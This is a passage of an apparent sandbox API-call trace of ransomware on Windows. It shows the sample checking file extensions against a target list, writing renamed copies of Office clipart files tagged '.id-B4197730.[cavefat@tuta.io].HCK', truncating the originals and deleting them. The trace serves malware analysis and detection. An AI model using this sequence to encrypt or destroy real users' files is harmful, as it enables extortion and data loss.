(lpString=".7z") returned 3 [0166.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0166.114] lstrlenW (lpString=".dbf") returned 4 [0166.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0166.114] lstrlenW (lpString=".1cd") returned 4 [0166.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0166.114] lstrlenW (lpString=".jpg") returned 4 [0166.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0166.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0166.114] lstrlenW (lpString=".doc") returned 4 [0166.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.114] lstrlenW (lpString=".docx") returned 5 [0166.115] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.115] lstrlenW (lpString=".pdf") returned 4 [0166.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.115] lstrlenW (lpString=".xls") returned 4 [0166.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.115] lstrlenW (lpString=".xlsx") returned 5 [0166.115] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.115] lstrlenW (lpString=".ppt") returned 4 [0166.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0166.115] lstrlenW (lpString=".zip") returned 4 [0166.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.115] lstrlenW (lpString=".rar") returned 4 [0166.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.115] lstrlenW (lpString=".bz2") returned 4 [0166.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.115] lstrlenW (lpString=".7z") returned 3 [0166.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0166.115] lstrlenW (lpString=".dbf") returned 4 [0166.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0166.115] lstrlenW (lpString=".1cd") returned 4 [0166.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0166.115] lstrlenW (lpString=".jpg") returned 4 [0166.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.115] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.115] lstrlenW (lpString="J0105298.WMF") returned 12 [0166.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.123] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6320) returned 1 [0166.123] CloseHandle (hObject=0x364) returned 1 [0166.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220 [0166.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0166.158] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.158] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0166.193] GetLastError () returned 0x0 [0166.193] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x18b0, lpOverlapped=0x0) returned 1 [0166.197] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x18c0, lpOverlapped=0x0) returned 1 [0166.198] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0166.198] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0166.198] SetEndOfFile (hFile=0x308) returned 1 [0166.201] CloseHandle (hObject=0x308) returned 1 [0166.201] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.201] SetEndOfFile (hFile=0x360) returned 1 [0166.205] CloseHandle (hObject=0x360) returned 1 [0166.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0166.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0166.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0166.210] lstrlenW (lpString=".doc") returned 4 [0166.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.210] lstrlenW (lpString=".docx") returned 5 [0166.210] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.210] lstrlenW (lpString=".pdf") returned 4 [0166.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.211] lstrlenW (lpString=".xls") returned 4 [0166.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.211] lstrlenW (lpString=".xlsx") returned 5 [0166.211] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.211] lstrlenW (lpString=".ppt") returned 4 [0166.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0166.211] lstrlenW (lpString=".zip") returned 4 [0166.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.211] lstrlenW (lpString=".rar") returned 4 [0166.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.211] lstrlenW (lpString=".bz2") returned 4 [0166.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.211] lstrlenW (lpString=".7z") returned 3 [0166.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0166.211] lstrlenW (lpString=".dbf") returned 4 [0166.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0166.211] lstrlenW (lpString=".1cd") returned 4 [0166.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0166.211] lstrlenW (lpString=".jpg") returned 4 [0166.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0166.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0166.211] lstrlenW (lpString=".doc") returned 4 [0166.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.211] lstrlenW (lpString=".docx") returned 5 [0166.211] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.211] lstrlenW (lpString=".pdf") returned 4 [0166.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.211] lstrlenW (lpString=".xls") returned 4 [0166.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.211] lstrlenW (lpString=".xlsx") returned 5 [0166.211] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.211] lstrlenW (lpString=".ppt") returned 4 [0166.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0166.211] lstrlenW (lpString=".zip") returned 4 [0166.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.211] lstrlenW (lpString=".rar") returned 4 [0166.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.212] lstrlenW (lpString=".bz2") returned 4 [0166.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.212] lstrlenW (lpString=".7z") returned 3 [0166.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0166.212] lstrlenW (lpString=".dbf") returned 4 [0166.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0166.212] lstrlenW (lpString=".1cd") returned 4 [0166.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0166.212] lstrlenW (lpString=".jpg") returned 4 [0166.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.212] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.212] lstrlenW (lpString="J0105332.WMF") returned 12 [0166.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0166.219] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10508) returned 1 [0166.219] CloseHandle (hObject=0x2e8) returned 1 [0166.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220 [0166.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0166.230] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.230] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0166.239] GetLastError () returned 0x0 [0166.239] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x290c, lpOverlapped=0x0) returned 1 [0166.241] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2910, lpOverlapped=0x0) returned 1 [0166.242] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0166.242] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0166.242] SetEndOfFile (hFile=0x330) returned 1 [0166.249] CloseHandle (hObject=0x330) returned 1 [0166.250] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.250] SetEndOfFile (hFile=0x388) returned 1 [0166.257] CloseHandle (hObject=0x388) returned 1 [0166.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0166.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0166.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0166.262] lstrlenW (lpString=".doc") returned 4 [0166.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.262] lstrlenW (lpString=".docx") returned 5 [0166.262] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.262] lstrlenW (lpString=".pdf") returned 4 [0166.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.262] lstrlenW (lpString=".xls") returned 4 [0166.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.262] lstrlenW (lpString=".xlsx") returned 5 [0166.262] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.262] lstrlenW (lpString=".ppt") returned 4 [0166.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0166.262] lstrlenW (lpString=".zip") returned 4 [0166.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.262] lstrlenW (lpString=".rar") returned 4 [0166.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.262] lstrlenW (lpString=".bz2") returned 4 [0166.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.262] lstrlenW (lpString=".7z") returned 3 [0166.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0166.263] lstrlenW (lpString=".dbf") returned 4 [0166.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0166.263] lstrlenW (lpString=".1cd") returned 4 [0166.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0166.263] lstrlenW (lpString=".jpg") returned 4 [0166.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0166.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0166.263] lstrlenW (lpString=".doc") returned 4 [0166.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.263] lstrlenW (lpString=".docx") returned 5 [0166.263] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.263] lstrlenW (lpString=".pdf") returned 4 [0166.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.263] lstrlenW (lpString=".xls") returned 4 [0166.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.263] lstrlenW (lpString=".xlsx") returned 5 [0166.263] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.263] lstrlenW (lpString=".ppt") returned 4 [0166.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0166.263] lstrlenW (lpString=".zip") returned 4 [0166.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.263] lstrlenW (lpString=".rar") returned 4 [0166.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.263] lstrlenW (lpString=".bz2") returned 4 [0166.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.263] lstrlenW (lpString=".7z") returned 3 [0166.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0166.263] lstrlenW (lpString=".dbf") returned 4 [0166.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0166.263] lstrlenW (lpString=".1cd") returned 4 [0166.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0166.263] lstrlenW (lpString=".jpg") returned 4 [0166.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.263] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.263] lstrlenW (lpString="J0105368.WMF") returned 12 [0166.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0166.269] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=12380) returned 1 [0166.269] CloseHandle (hObject=0x354) returned 1 [0166.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220 [0166.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.279] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.279] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0166.286] GetLastError () returned 0x0 [0166.286] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x305c, lpOverlapped=0x0) returned 1 [0166.287] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3060, lpOverlapped=0x0) returned 1 [0166.288] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0166.288] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0166.288] SetEndOfFile (hFile=0x354) returned 1 [0166.295] CloseHandle (hObject=0x354) returned 1 [0166.299] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.299] SetEndOfFile (hFile=0x3ac) returned 1 [0166.302] CloseHandle (hObject=0x3ac) returned 1 [0166.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0166.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0166.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0166.308] lstrlenW (lpString=".doc") returned 4 [0166.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.308] lstrlenW (lpString=".docx") returned 5 [0166.308] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.308] lstrlenW (lpString=".pdf") returned 4 [0166.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.308] lstrlenW (lpString=".xls") returned 4 [0166.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.308] lstrlenW (lpString=".xlsx") returned 5 [0166.308] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.308] lstrlenW (lpString=".ppt") returned 4 [0166.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0166.308] lstrlenW (lpString=".zip") returned 4 [0166.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.308] lstrlenW (lpString=".rar") returned 4 [0166.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.308] lstrlenW (lpString=".bz2") returned 4 [0166.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.308] lstrlenW (lpString=".7z") returned 3 [0166.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0166.308] lstrlenW (lpString=".dbf") returned 4 [0166.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0166.308] lstrlenW 